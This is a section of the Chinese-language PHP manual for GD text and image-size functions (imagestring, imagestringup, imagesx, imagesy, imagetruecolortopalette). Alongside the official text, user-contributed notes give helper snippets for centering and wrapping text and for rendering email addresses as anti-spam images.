 * @param int $font
 * @param int $x
 * @param int $y
 * @param string $string
 * @param int $color
 */
function whitespaces_imagestring($image, $font, $x, $y, $string, $color) {
    $font_height = imagefontheight($font);
    $font_width = imagefontwidth($font);
    $image_height = imagesy($image);
    $image_width = imagesx($image);
    $max_characters = (int) ($image_width - $x) / $font_width ;
    $next_offset_y = $y;

    for($i = 0, $exploded_string = explode("\n", $string), $i_count = count($exploded_string); $i < $i_count; $i++) {
        $exploded_wrapped_string = explode("\n", wordwrap(str_replace("\t", "    ", $exploded_string[$i]), $max_characters, "\n"));
        $j_count = count($exploded_wrapped_string);
        for($j = 0; $j < $j_count; $j++) {
            imagestring($image, $font, $x, $next_offset_y, $exploded_wrapped_string[$j], $color);
            $next_offset_y += $font_height;

            if($next_offset_y >= $image_height - $y) {
                return;
            }
        }
    }
}

?>
jordanslost at gmail 04-Sep-2009 04:52
Here is a small bit I made for writing to a image from right to left when you are limited to imagestring()

<?php

        $pageview_letters = preg_split('//', $string, -1 ); // Form are original array of letters.
        $minus = 6; // The letter spacing in pixels
        $first = true; // Whether or not we have started the string
        $x = 375; // X Location of imagestring
        $y = 23; // Y Location of imagestring
        $letters = array(); // Initiate the array o letters.

        foreach ( $pageview_letters as $letter ) {

            $letters[] = $letter;

        }

        $letters = array_reverse( $letters );

        foreach ( $letters as $letter ) {

            if ( $first ) {

                imagestring( $image, 2, $x, $y, $letter, $light_blue );
                $first = false;

            } else {

                $x = ( $x - $minus );
                imagestring( $image, 2, $x, $y, $letter, $light_blue );

            }

        }
?>
eric dot brison at anakeen dot com 24-Apr-2009 12:51
Same function as above but it can display multi-line strings.
<?php
function sendimagetext($text) {
  // Set font size
  $font_size = 4;

  $ts=explode("\n",$text);
  $width=0;
  foreach ($ts as $k=>$string) { //compute width
    $width=max($width,strlen($string));
  }

  // Create image width dependant on width of the string
  $width  = imagefontwidth($font_size)*$width;
  // Set height to that of the font
  $height = imagefontheight($font_size)*count($ts);
  $el=imagefontheight($font_size);
  $em=imagefontwidth($font_size);
  // Create the image pallette
  $img = imagecreatetruecolor($width,$height);
  // Dark red background
  $bg = imagecolorallocate($img, 0xAA, 0x00, 0x00);
  imagefilledrectangle($img, 0, 0,$width ,$height , $bg);
  // White font color
  $color = imagecolorallocate($img, 255, 255, 255);

  foreach ($ts as $k=>$string) {
    // Length of the string
    $len = strlen($string);
    // Y-coordinate of character, X changes, Y is static
    $ypos = 0;
    // Loop through the string
    for($i=0;$i<$len;$i++){
      // Position of the character horizontally
      $xpos = $i * $em;
      $ypos = $k * $el;
      // Draw character
      imagechar($img, $font_size, $xpos, $ypos, $string, $color);
      // Remove character from string
      $string = substr($string, 1);
    }
  }
  // Return the image
  header("Content-Type: image/png");
  imagepng($img);
  // Remove image
  imagedestroy($img);
}
?>
mike at mike-griffiths dot co dot uk 19-Dec-2008 12:07
I created an alternative using the function imagechar to create a string of an image.  The below function below was used to create an image the same height and width of the text string.  It is used on my website to mask users email addresses.

<?PHP

// Set your string somehow
$string = 'your@example.com';

// Set font size
$font_size = 4;

// Create image width dependant on width of the string
$width  = imagefontwidth($font_size)*strlen($string);
// Set height to that of the font
$height = imagefontheight($font_size);
// Create the image pallette
$img = imagecreate($width,$height);
// Grey background
$bg    = imagecolorallocate($img, 25, 25, 25);
// White font color
$color = imagecolorallocate($img, 255, 255, 255);
// Length of the string
$len = strlen($string);
// Y-coordinate of character, X changes, Y is static
$ypos = 0;
// Loop through the string
for($i=0;$i<$len;$i++){
    // Position of the character horizontally
    $xpos = $i * imagefontwidth($font_size);
    // Draw character
    imagechar($img, $font_size, $xpos, $ypos, $string, $color);
    // Remove character from string
    $string = substr($string, 1);

}
// Return the image
header("Content-Type: image/gif");
imagegif($img);
// Remove image
imagedestroy($img);

?>
keksnicoh at googlemail dot com 02-Nov-2008 10:42
Some fun with imagestring:

This function is a product of too much time..
It opens an image and create a new image with one letter instead of a pixel.

<?php
error_reporting(E_ALL);
/**
 * generates a image with chars instead of pixels
 *
 * @param string $url Filepath or url
 * @param string $chars The chars which should replace the pixels
 * @param int $shrpns Sharpness (2 = every second pixel, 1 = every pixel ... )
 * @param int $size
 * @param int $weight font-weight/size
 * @return sesource
 * @author Nicolas 'KeksNicoh' Heimann <www.salamipla.net>
 * @date 02nov08
 */
function pixelfuck($url, $chars='ewk34543§G§$§$Tg34g4g', $shrpns=1, $size=4,$weight=2)
{
    list($w, $h, $type) = getimagesize($url);
    $resource = imagecreatefromstring(file_get_contents($url));
    $img = imagecreatetruecolor($w*$size,$h*$size);

    $cc = strlen($chars);
    for($y=0;$y <$h;$y+=$shrpns)
        for($x=0;$x <$w;$x+=$shrpns)
            imagestring($img,$weight,$x*$size,$y*$size, $chars{@++$p%$cc}, imagecolorat($resource, $x, $y));
    return $img;
}

$url = 'http://upload.wikimedia.org/wikipedia/commons/b/be/Manga_Icon.png';
$text = 'I-dont-like-manga-...-Why-do-they-have-such-big-eyes? Strange-...-WHAT-WANT-YOU-DO?';

Header('Content-Type: image/png');
imagepng(pixelfuck($url, $text, 1, 6));
?>

Have fun  :)
Abubaker dot shamlan at gmail dot com 19-Aug-2008 03:02
this is a function that is based on imagestring but it produces text in the center of an image i hope it helps :D

<?php
function ImageStringCenter($image_resource, $font_size, $line_number, $total_lines, $text, $color ) {

    $center_x = ceil( ( imagesx($image_resource) - ( ImageFontWidth($font_size) * strlen($text) ) ) / 2 );

    $center_y = ceil( ( ( imagesy($image_resource) - ( ImageFontHeight($font_size) * $total_lines ) ) / 2)  + ( ($line_number-1) * ImageFontHeight($font_size) ) );

ImageString($image_resource, $font_size, $center_x, $center_y, $text, $color );

}
?>
mustafa at hafunny dot info 14-Aug-2008 02:42
If you have any problem with CentralEurope's words, for example : ?????yáíéú?ň??, I am try this problem by iconv() function.

<?php
// create example image
$im = imagecreate(200, 20);
$bg = imagecolorallocate($im, 255, 255, 255);
$textcolor = imagecolorallocate($im, 0, 0, 255);
$text = "?????yáíéú?ň??...";

//simple convert string
$string = iconv("Windows-1250", "Latin2", $text);

// write converted string at the top left
imagestring($im, 4, 0, 0, $string, $textcolor);

// output the image
header("Content-type: image/png");
imagepng($im);
?>
sk89q 14-Mar-2008 02:10
Creates a box of text. Has horizontal and vertical alignment, box arguments, and custom leading. I submitted this to the manual in 2003 actually, but it disappeared after a year or so (not sure why). Here it is again.

<?php
define("ALIGN_LEFT", "left");
define("ALIGN_CENTER", "center");
define("ALIGN_RIGHT", "right");
define("VALIGN_TOP", "top");
define("VALIGN_MIDDLE", "middle");
define("VALIGN_BOTTOM", "bottom");

function imagestringbox(&$image, $font, $left, $top, $right, $bottom, $align, $valign, $leading, $text, $color)
{
   // Get size of box
   $height = $bottom - $top;
   $width = $right - $left;

   // Break the text into lines, and into an array
   $lines = wordwrap($text, floor($width / imagefontwidth($font)), "\n", true);
   $lines = explode("\n", $lines);

   // Other important numbers
   $line_height = imagefontheight($font) + $leading;
   $line_count = floor($height / $line_height);
   $line_count = ($line_count > count($lines)) ? (count($lines)) : ($line_count);

   // Loop through lines
   for ($i = 0; $i < $line_count; $i++)
   {
       // Vertical Align
       switch($valign)
       {
           case VALIGN_TOP: // Top
               $y = $top + ($i * $line_height);
               break;
           case VALIGN_MIDDLE: // Middle
               $y = $top + (($height - ($line_count * $line_height)) / 2) + ($i * $line_height);
               break;
           case VALIGN_BOTTOM: // Bottom
               $y = ($top + $height) - ($line_count * $line_height) + ($i * $line_height);
               break;
           default:
               return false;
       }

       // Horizontal Align
       $line_width = strlen($lines[$i]) * imagefontwidth($font);
       switch($align)
       {
           case ALIGN_LEFT: // Left
               $x = $left;
               break;
           case ALIGN_CENTER: // Center
               $x = $left + (($width - $line_width) / 2);
               break;
           case ALIGN_RIGHT: // Right
               $x = $left + ($width - $line_width);
               break;
           default:
               return false;
       }

       // Draw
       imagestring($image, $font, $x, $y, $lines[$i], $color);
   }

   return true;
}
?>
eviloverlord+php at gmail dot com 03-Jan-2008 03:28
Simple script to convert a string (such as an email addresses) to a transparent image.

Usage:
<img src="stringtoimg.php?string=<?= urlencode(base64_encode($email)) ?>">

From a spambot's point of view, they see:
<img src="stringtoimg.php?string=ZpbXZG92ZXJsb3JkQGdtYWlsLmNvbQ%3D%3D">

Optional parameters:
    font_size: 1 to 5, with the default at 3
    R/G/B: the font color, in hex.

Usage:
<img src="stringtoimg.php?string=<?= urlencode(base64_encode($email)) ?>&font_size=4&R=FF&G=FF&B=00">

<?php
/*
Filename: stringtoimg.php

Parameters:
        string: the string to print
        font_size (optional): the size of the font from 1-5
        R/G/B (optional): the RGB colors of the font in hex
*/

header ("Content-type: image/png");

//Get string info
$font_size = isset($_GET['font_size']) ? $_GET['font_size'] : 3;
$string = urldecode(base64_decode($_GET['string']));

//Get the size of the string
$width = imagefontwidth($font_size) * strlen($string);
$height = imagefontheight($font_size);

//Create the image
$img = @imagecreatetruecolor($width, $height)
      or die("Cannot Initialize new GD image stream");

//Make it transparent
imagesavealpha($img, true);
$trans_colour = imagecolorallocatealpha($img, 0, 0, 0, 127);
imagefill($img, 0, 0, $trans_colour);

//Get the text color
$text_color = isset($_GET['R'], $_GET['G'], $_GET['B']) ?
        imagecolorallocate($img, hexdec($_GET['R']), hexdec($_GET['G']), hexdec($_GET['B'])) :
        imagecolorallocate($img, 0, 0, 0);

//Draw the string
imagestring($img, $font_size, 0, 0,  $string, $text_color);

//Output the image
imagepng($img);
imagedestroy($img);
?>
Epidemiah 03-Jan-2008 05:06
Its just an easy function to write an string in the middle of a picture.

<?php

function imageCenterString(&$img, $font, $text, $color)
{
    if($font < 0 || $font > 5){ $font = 0; }
    $num = array(array(4.6, 6),
                 array(4.6, 6),
                 array(5.6, 12),
                 array(6.5, 12),
                 array(7.6, 16),
                 array(8.5, 16));
    $width = ceil(strlen($text) * $num[$font][0]);
    $x     = imagesx($img) - $width - 8;
    $y     = Imagesy($img) - ($num[$font][1] + 2);
    imagestring($img, $font, $x/2, $y/2, $text, $color);
}

?>
jlamer 18-Feb-2007 06:00
//  Example of use...

//  This is a simple function to output text to an image
//  which is centered (as much as I want to do by eye)
//  and wrapped
//    Just remember that all the sizes are guessed
// doesn't cut on the space (only on number of characters)
//  or change color of text, but this isn't for that...
function imageCenterString( $imgw, $imgh,
   $image_text = '', $text_size=5 )
{
   $im = imagecreate( $imgw, $imgh );

   // white background and blue text
   $bg = imagecolorallocate($im, 255, 255, 255);
   $textcolor = imagecolorallocate($im, 0, 0, 0);

   $t_h = $t_w = $t_x = $t_y = 0;
   $base_w =9; $base_h = 16;
   $m = 0.88;
   switch ( $text_size )
   {
      case 1: $t_w = $base_w*pow(($m*.98),4);
         $t_h = $base_h*pow(($m*.98),4);
         break;
      case 2: $t_w = $base_w*pow($m,3);
         $t_h = $base_h*pow($m,3);
         break;
      case 3: $t_w = $base_w*pow($m,2);
         $t_h = $base_h*pow($m,2);
         break;
      case 4: $t_w = $base_w*$m;
         $t_h = $base_h*$m;
         break;
      case 5: $t_w = $base_w;
         $t_h = $base_h;
         break;
      default:
         if ( $text_size >= 5 ) // set to 5
         {   $t_w = $base_w; $t_h = $base_h; }
         if ( $text_size < 5 ) // set to 1
         {
            $t_w = $base_w*pow(($m*.98),4);
            $t_h = $base_h*pow(($m*.98),4);
         }
         break;
   }

   $text_array = array();

   $max = floor($imgw/$t_w);

   for( $i=0; strlen($image_text) > 0; $i += $max)
   {
      array_push($text_array, substr($image_text,0,$max));
      if ( strlen($image_text) >= $max )
      {   $image_text = substr($image_text,$max); }
      else
      {   $image_text = ''; }
   }

   $t_y = ($imgh/2) - ($t_h*count($text_array)/2);

   foreach ( $text_array as $text )
   {
      $t_x = ($imgw/2)-($t_w*strlen($text)/2);
      imagestring($im, $text_size, $t_x, $t_y,
         $text, $textcolor);
      $t_y += $t_h;
   }

   // output the image
   header("Content-type: image/gpeg");
   imagejpeg($im);
}
gannon (at) portablesofdoom (dot) org 27-Dec-2006 06:53
I like this better than "tjpoe at cableaz dot com"'s function for wrapping text to fit width (auto-adjusts height as needed) since it doesn't only do 1 word per line.

function make_wrapped_txt($txt, $color=000000, $space=4, $font=4, $w=300) {
  if (strlen($color) != 6) $color = 000000;
  $int = hexdec($color);
  $h = imagefontheight($font);
  $fw = imagefontwidth($font);
  $txt = explode("\n", wordwrap($txt, ($w / $fw), "\n"));
  $lines = count($txt);
  $im = imagecreate($w, (($h * $lines) + ($lines * $space)));
  $bg = imagecolorallocate($im, 255, 255, 255);
  $color = imagecolorallocate($im, 0xFF & ($int >> 0x10), 0xFF & ($int >> 0x8), 0xFF & $int);
  $y = 0;
  foreach ($txt as $text) {
    $x = (($w - ($fw * strlen($text))) / 2);
    imagestring($im, $font, $x, $y, $text, $color);
    $y += ($h + $space);
  }
  header('Content-type: image/jpeg');
  die(imagejpeg($im));
}
iibm at free dot fr 14-Dec-2006 02:21
I've made a little modification of the (quite usefull) imagestringcutted function (when align=center, it doesn't work well for me if x1!=0) so juste replace the last line with :

<?php
   [...]
   else imagestring($img,$font,$x1+($x2-$x1)/ 2 - strlen($text) * $fontwidth / 2,$y,$text,$color);
}
?>
Piotr dot Sulecki at traxelektronik dot pl 09-Nov-2006 03:18
The built-in fonts used to be in latin-2 (iso8859-2) encoding. For some time, they are in latin-1 (iso8859-1) encoding. There is no way to change the encoding at all. If you need to use any other encoding, you have to use TrueType fonts.
god at in-heaven dot org 18-Oct-2006 02:47
Here's a simple function for creating an aligned string which is cutted to match the space between $x1 and $x2
<?php
function imagestringcutted($img,$font,$y,$x1,$x2,$text,$color,$align="center") {
    $fontwidth = imagefontwidth($font);
    $fullwidth = strlen($text) * $fontwidth;
    $maxwidth = $x2-$x1;
    $targetwidth = $fullwidth-(4*$fontwidth);
    if($fullwidth > $maxwidth) {
        for($i = 0; $i < strlen($text) AND ((strlen($text)-($i-4))*$fontwidth) > $targetwidth ;$i++) { }
        $text = substr($text,0,(strlen($text)-$i)-4)."...";
    }
    if($align == "left") imagestring($img,$font,$x1,$y,$text,$color);
    elseif($align == "right") imagestring($img,$font,$x2 - ((strlen($text) * $fontwidth)),$y,$text,$color);
    else imagestring($img,$font,($x2-$x1)/ 2 - strlen($text) * $fontwidth / 2,$y,$text,$color);
}
?>
Usage:
<?php
imagestringcutted($img,$font,$y,$x1,$x2,$text,$color,$align);
?>
Will create a string $text, which is cutted if it's too long to match between  $x1 and $2, on $img with font $font and color $color at height $y and with align to $align.
Hope it will help some people.
Sorry for my bad English.
rush at 507magazine dot com 28-Feb-2006 11:54
hello, I noticed that if you put a rand(3,5) it will put random sizes of font to each character put on the image. this is very useful when programming captchas for anti-spam form verification.
julien / at / theoconcept.com 01-Feb-2006 03:21
If you are looking for a way to generate a "CAPTCHA" image for a form verification (to verify it is not a robot), have a look at this : http://blog.theoconcept.com/static/distortion/

It gives an animated image with the parameter string, with distortion, here is an example :
http://blog.theoconcept.com/static/distortion/distortion.php

(*)  You'll need GD + Freetype support
(**) You'll need ImageMagick on the machine
m dot onderwater at esperantoxl dot nl 05-Dec-2005 10:55
There is a small error in the function for horizontal and vertical centering by "jurgen dot vanoosterwijck at pandora dot be"

the line

 $cy = (imagesy($img)/2) - (imagefontwidth($font)/2);

should be

 $cy = (imagesy($img)/2) - (imagefontheight($font)/2);
aly at slo-igre dot net 11-Jun-2005 01:12
There is an error in "tjpoe at cableaz dot com" 's function ImageStringWrap. Instead of

    else
           $string = $text;

there should be

     else
           $string = array($text);

for function to work for strings with only one word. Otherwise it works like a charm, thanks.
tjpoe at cableaz dot com 27-May-2005 07:48
i modified the centering functions and created this which centers each word on it's own line. You can adjust the spacing with the $valign var. currently no implimentation if text is too large for image. strings are tokenized by space, but can obviously be changed.

function ImageStringWrap($image, $font, $text, $color)
{
  $fontwidth = ImageFontWidth($font);
  $fontheight = ImageFontHeight($font);
  $words= str_word_count($text);
  if ($words > 1){
    $string=array(strtok($text,' '));
    for ($i = 1 ; $i <= $words ; $i++){
      $string=array_merge($string,array($i=>strtok(' ')));
    }
  }
  else
    $string=$text;
  $vspace=4;
  $y=((imagesy($image)-($fontheight*$words)-($words*$vspace))/2);
  foreach($string as $st){
    $x=((imagesx($image)-($fontwidth * strlen($st)))/2);
    ImageString($image,$font,$x,$y,$st,$color);
    $y+=($fontheight+$vspace);
  }
}
hope this is helpful
bpgordon at gmail dot com 23-May-2005 04:04
This code produces a png image of the text within the query. It autofits to the length of the string.
Usage: http://yoursite.com/text.php?abcdefg+hijk

Use + to produce a space in the image. The + can be excaped with a carat (^). Most other symbols work fine in the query string, like the ?.

<?php
header ("Content-type: image/png");
$string = $_ENV["QUERY_STRING"];
$md5 = md5($string); //just so we don't convert valid text into a +
$string = str_replace("^+", $md5, $string); //replaces ^+ with long, unnatural string
$string = str_replace("+", " ", $string); //replaces + with space
$string = str_replace($md5, "+", $string); //replaces the long, unnatural string with +
$width  = imagefontwidth($font) * strlen($string);
$height = imagefontheight($font);
$image = @imagecreate($width+2, $height+2);
$black = imagecolorallocate($image, 0, 0, 0); //background
$white = imagecolorallocate($image, 255, 255, 255);
imagestring($image, 2, 1, 1,  $string, $white);
imagepng($image);
imagedestroy($image);
?>
jurgen dot vanoosterwijck at pandora dot be 12-May-2005 10:52
Based on the previous example, here's how to center a string both horizontally and vertically...

<?php
function imagestringcentered ($img,$font,$text,$color) {
 while (strlen($text) * imagefontwidth($font) > imagesx($img)) {
  if ($font > 1) { $font--; }
  else { break; }
 }
 $cy = (imagesy($img)/2) - (imagefontwidth($font)/2);
 imagestring($img,$font,imagesx($img) / 2 - strlen($text) * imagefontwidth($font) / 2,$cy,$text,$color);
}
?>
shadikka at gmail dot com 26-Mar-2005 11:49
My version of the centered string, it decreases the font number (since I've noticed smaller numbers are smaller fonts) until 1 if the string won't fit. Then it will give up.

<?php
function imagestringcentered ($img,$font,$cy,$text,$color) {
 while (strlen($text) * imagefontwidth($font) > imagesx($img)) {
  if ($font > 1) { $font--; }
  else { break; }
 }
 imagestring($img,$font,imagesx($img) / 2 - strlen($text) * imagefontwidth($font) / 2,$cy,$text,$color);
}
?>
webmaster at acdrifter dot com 28-Feb-2005 08:08
If you are looking to center the text, use the following function; I'm not promising perfection...

function imagecenteredstring ( &$img, $font, $xMin, $xMax, $y, $str, $col ) {
    $textWidth = imagefontwidth( $font ) * strlen( $str );
    $xLoc = ( $xMax - $xMin - $textWidth ) / 2 + $xMin + $font;
    imagestring( $img, $font, $xLoc, $y, $str, $col );
}
cesargus at yahoo dot com 17-Nov-2004 10:27
//simple hello world

<?
header ("Content-type: image/png");

$img_handle = ImageCreate (200, 20) or die ("Cannot Create image");
$back_color = ImageColorAllocate ($img_handle, 0, 10, 10);
$txt_color = ImageColorAllocate ($img_handle, 235, 235, 51);
ImageString ($img_handle, 10, 25, 5,  "Hello world!", $txt_color);
ImagePng ($img_handle);
?>
brooks dot boyd at gmail dot com 13-Oct-2004 12:35
Drawing a string as an image is a handy way to disguise an eMail address so spam sniffers can't get it as easily. The only catch to creating a dynamic image with your eMail in it is the eMail to be displayed must be passed via the query string to enable static HTML to use it. So, the eMail must be encrypted slightly in order to not defeat the purpose of not typing your eMail address outright. I wrote the following script to do so:

Save the following as email.php
<?php
    if ($_GET['addr'] != "") {
        $msg = $_GET['addr'];
        $msg = preg_replace("/\[dot]/",".",$msg);
        $msg = preg_replace("/\[at]/","@",$msg);
        $final = "";
        for ($i=0; $i<=strlen($msg); $i++) {
            $final .= substr($msg, strlen($msg)-$i, 1);
        }
        $msg = $final;

        $char_width = 8;
        $char_height = 17;
        $padding = 3;
        $width = $padding*2+strlen($msg)*$char_width;
        $height = +$padding*2+$char_height;
        $im = imagecreatetruecolor($width,$height);
        imagealphablending($im, FALSE);
        imagesavealpha($im, TRUE);
        $bg = imagecolorallocatealpha($im, 255, 255, 0, 100);
        $text = imagecolorallocatealpha($im, 0, 0, 0, 0);
        imagefilledrectangle ($im, 0, 0, $width, $height, $bg); # Make transparent
        imagestring($im, 4, $padding, $padding, $msg, $text);
    } else {
        $im = imagecreatetruecolor(1,1);
        imagealphablending($im, FALSE);
        imagesavealpha($im, TRUE);
        $bg = imagecolorallocatealpha($im, 255, 0, 0, 125);
        imagefilledrectangle ($im, 0, 0, 1, 1, $bg); # Make transparent
    }
    header('Content-type: image/jpg');
    imagepng($im);
    imagedestroy($im);

?>

If the script is called without an eMail address, it outputs a 2x2 transparent image.

To call the script to generate the eMail "user@home.com", the HTML tag would be:

<img src="email.php?addr=moc[dot]emoh[at]resu">

To 'encrypt' the eMail address to pass to the script, write the address backwards and replace "." with "[dot]" and "@" with "[at]". It's not the most ironclad protection, but it thwarts most casual eMail sniffers.
php dot net at mvoncken dot nl 14-Feb-2003 02:18
A simple example:
To make one line of text fit in the image.

<?php
header ("Content-type: image/png");
$string = "spam@mvoncken.nl";
$font   = 4;
$width  = ImageFontWidth($font) * strlen($string);
$height = ImageFontHeight($font);

$im = @imagecreate ($width,$height);
$background_color = imagecolorallocate ($im, 255, 255, 255); //white background
$text_color = imagecolorallocate ($im, 0, 0,0);//black text
imagestring ($im, $font, 0, 0,  $string, $text_color);
imagepng ($im);
?>

I use something like this for spamprotection of my visitors (pass userid as an url-parameter for this php)
aholmes84 at hotmail dot com 08-Nov-2002 11:25
When setting the font, any integer less than 1 defaults to 1, and any integer greater than 5 defaults to 5.
deejay_world at yahoo dot com 10-Jun-2002 07:25
Width ImageString, the strings you draw are not automatically wrapped width the edge of the image. You may use this function to automatically wrap them:

function ImageStringWrap($image, $font, $x, $y, $text, $color, $maxwidth)
{
    $fontwidth = ImageFontWidth($font);
    $fontheight = ImageFontHeight($font);

    if ($maxwidth != NULL) {
        $maxcharsperline = floor($maxwidth / $fontwidth);
        $text = wordwrap($text, $maxcharsperline, "\n", 1);
      }

    $lines = explode("\n", $text);
    while (list($numl, $line) = each($lines)) {
        ImageString($image, $font, $x, $y, $line, $color);
        $y += $fontheight;
      }
}

So, in particular, if you want to wrap a text with the edge of the Image, you may do:
ImageStringWrap($img, $font, 0, $y, $text, $color, ImageSX($img) );
bob dot brown at opus dot co dot nz 02-Apr-2002 03:59
If you find that you are getting two characters on the end of your imageString that look like a Y and an upside down L then they're probably representations of CR/LF.  Try trim()ing the string before outputting it.  (I was sooo sure this was a bug <g>)


垂直绘制字符串

  • ? imagestring
  • imagesx ?
  • PHP Manual
  • GD 和图像处理 函数
  • 垂直绘制字符串

imagestringup

(PHP 4, PHP 5, PHP 7, PHP 8)

imagestringup — 垂直绘制字符串

说明

imagestringup(
GdImage $image,
GdFont|int $font,
int $x,
int $y,
string $string,
int $color
): bool

在指定坐标处垂直绘制 string。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

font

取值对于内建的 latin2 编码字体可以是：1、2、3、4、5(更高的数字对应更大的字体)， 或是通过 imageloadfont() 返回的 GdFont 实例。

x

左下角的 x 坐标。

y

左下角的 y 坐标。

string

要写入的字符串。

color

颜色标识符使用 imagecolorallocate() 创建。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | font 参数现在接受 GdFont 实例和 int，之前仅接受 int。
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imagestringup() 示例

<?php
// create a 100*100 image
$im = imagecreatetruecolor(100, 100);

// Write the text
$textcolor = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);
imagestringup($im, 3, 40, 80, 'gd library', $textcolor);

// Save the image
imagepng($im, './stringup.png');
imagedestroy($im);
?>

以上示例的输出类似于：

参见

  • imagestring() - 水平绘制字符串
  • imageloadfont() - 载入新字体

User Contributed Notes

13-Dec-2002 05:19
function imagestringdown(&$image, $font, $x, $y, $s, $col)
{
    $width = imagesx($image);
   $height = imagesy($image);

    $text_image = imagecreate($width, $height);

   $white = imagecolorallocate ($text_image, 255, 255, 255);
   $black = imagecolorallocate ($text_image, 0, 0, 0);

    $transparent_colour = $white;
   if ($col == $white)
      $transparent_color = $black;

   imagefill($text_image, $width, $height, $transparent_colour);
   imagecolortransparent($text_image, $transparent_colour);

   imagestringup($text_image, $font, ($width - $x), ($height - $y), $s, $col);
   imagerotate($text_image, 180.0, $transparent_colour);

   imagecopy($image, $text_image, 0, 0, 0, 0, $width, $height);
}


取得图像宽度

  • ? imagestringup
  • imagesy ?
  • PHP Manual
  • GD 和图像处理 函数
  • 取得图像宽度

imagesx

(PHP 4, PHP 5, PHP 7, PHP 8)

imagesx — 取得图像宽度

说明

imagesx(GdImage $image): int

返回指定 image 对象的宽度。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

返回值

返回 image 的宽度。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 使用 imagesx()

<?php

// create a 300*200 image
$img = imagecreatetruecolor(300, 200);

echo imagesx($img); // 300

?>

参见

  • imagecreatetruecolor() - 新建真彩色图像
  • getimagesize() - 取得图像大小
  • imagesy() - 取得图像高度

User Contributed Notes

kris 22-Sep-2004 05:49
You can in fact convert pixels to CM or to whatever measurement you want if you know the DPI and current resolution of the image.  This will of course give you the real life print size of the image and not the actual on screen size of the image.

This function seems to have been created for such a purpose.  It is for this reason the creator of the function passes the DPI and resolution to his function.
anC 26-Aug-2004 11:38
You can't convert pixels into centimeters or something else, atleast without knowing the resolution and the size of your screen and the viewrange of it. For example: The pixels on monitor that's resolution is 1024*768 and size is 17' the size of a pixel is smaller than on the monitor that's resolution is 1024*768 too but size is 21'.
leonardo AT saochico DOT com 21-Nov-2003 07:24
This function convert image size of Pixel to Centimeter

<?
#$imagem - source of image
#$dpi - resolution to convert E.g.: 72dpi or 300dpi

function px2cm($image, $dpi) {
    #Create a new image from file or URL
    $img = ImageCreateFromJpeg($image);

    #Get image width / height
    $x = ImageSX($img);
    $y = ImageSY($img);

    #Convert to centimeter
    $h = $x * 2.54 / $dpi;
    $l = $y * 2.54 / $dpi;

    #Format a number with grouped thousands
    $h = number_format($h, 2, ',', ' ');
    $l = number_format($l, 2, ',', ' ');

    #add size unit
    $px2cm[] = $h."cm";
    $px2cm[] = $l."cm";

    #return array w values
    #$px2cm[0] = X
    #$px2cm[1] = Y
    return $px2cm;
}

$image = "C:\\inetpub\\wwwroot\\lab\\trata_img\\l0gik.jpg";
$dpi = 300;

$result = px2cm($image, $dpi);

print ($result[0]." x ".$result[1]);
?>


取得图像高度

  • ? imagesx
  • imagetruecolortopalette ?
  • PHP Manual
  • GD 和图像处理 函数
  • 取得图像高度

imagesy

(PHP 4, PHP 5, PHP 7, PHP 8)

imagesy — 取得图像高度

说明

imagesy(GdImage $image): int

返回指定 image 对象的高度。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

返回值

返回 image 的高度。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 使用 imagesy()

<?php

// create a 300*200 image
$img = imagecreatetruecolor(300, 200);

echo imagesy($img); // 200

?>

参见

  • imagecreatetruecolor() - 新建真彩色图像
  • getimagesize() - 取得图像大小
  • imagesx() - 取得图像宽度

User Contributed Notes

There are no user contributed notes for this page.


将真彩色图像转换为调色板图像

  • ? imagesy
  • imagettfbbox ?
  • PHP Manual
  • GD 和图像处理 函数
  • 将真彩色图像转换为调色板图像

imagetruecolortopalette

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagetruecolortopalette — 将真彩色图像转换为调色板图像

说明

imagetruecolortopalette(GdImage $image, bool $dither, int $num_colors): bool

imagetruecolortopalette()将一幅真彩色图像转换为调色板图像。本函数的代码原本是从独立的 JPEG 小组库代码中提取出来的，非常出色。此代码被修改以在结果调色板中保留尽可能多的 alpha 通道信息以及尽可能多的颜色。但并没有达到期望的效果。通常最好生成真彩色图像输出，这样可以保证得到最高的输出质量。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

dither

指明图像是否被抖动（dithered），如果为 true 则图像将被抖动使图像中的斑点更多但是颜色更接近。

num_colors

设定调色板中被保留的颜色的最大数目。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 将真彩色图像转换为基于调色板的图像

<?php
// Create a new true color image
$im = imagecreatetruecolor(100, 100);

// Convert to palette-based with no dithering and 255 colors
imagetruecolortopalette($im, false, 255);

// Save the image
imagepng($im, './paletteimage.png');
imagedestroy($im);
?>

User Contributed Notes

djcassis(a)gmail.com 21-Sep-2008 06:52
>> zmorris at zsculpt dot com

I don't have the imageColorMatch() function on my server, but I could slighty improve the quality of the GIF/PNG image by converting it first to 256 colors, then to true colors and finally to the desired number of colors.

<?php

$dither = true;
$colors = 64;

$tmp = imageCreateFromJpeg('example.jpg');
$width = imagesX($tmp);
$height = imagesY($tmp);
imageTrueColorToPalette($tmp, $dither, 256);
$image = imageCreateTrueColor($width, $height);
imageCopy($image, $tmp, 0, 0, 0, 0, $width, $height);
imageDestroy($tmp);
imageTrueColorToPalette($image, $dither, $colors);

?>

Final $image will still have less than 64 colors, but more than if it was directly converted to 64 colors, and they match the JPEG image more.

Dunno why true colors to palette conversions are such a problem...
will at fnatic dot com 24-Feb-2006 12:49
a basic palette to true color function
<?php
    function imagepalettetotruecolor(&$img)
    {
        if (!imageistruecolor($img))
        {
            $w = imagesx($img);
            $h = imagesy($img);
            $img1 = imagecreatetruecolor($w,$h);
            imagecopy($img1,$img,0,0,0,0,$w,$h);
            $img = $img1;
        }
    }
?>
zmorris at zsculpt dot com 16-Aug-2004 10:58
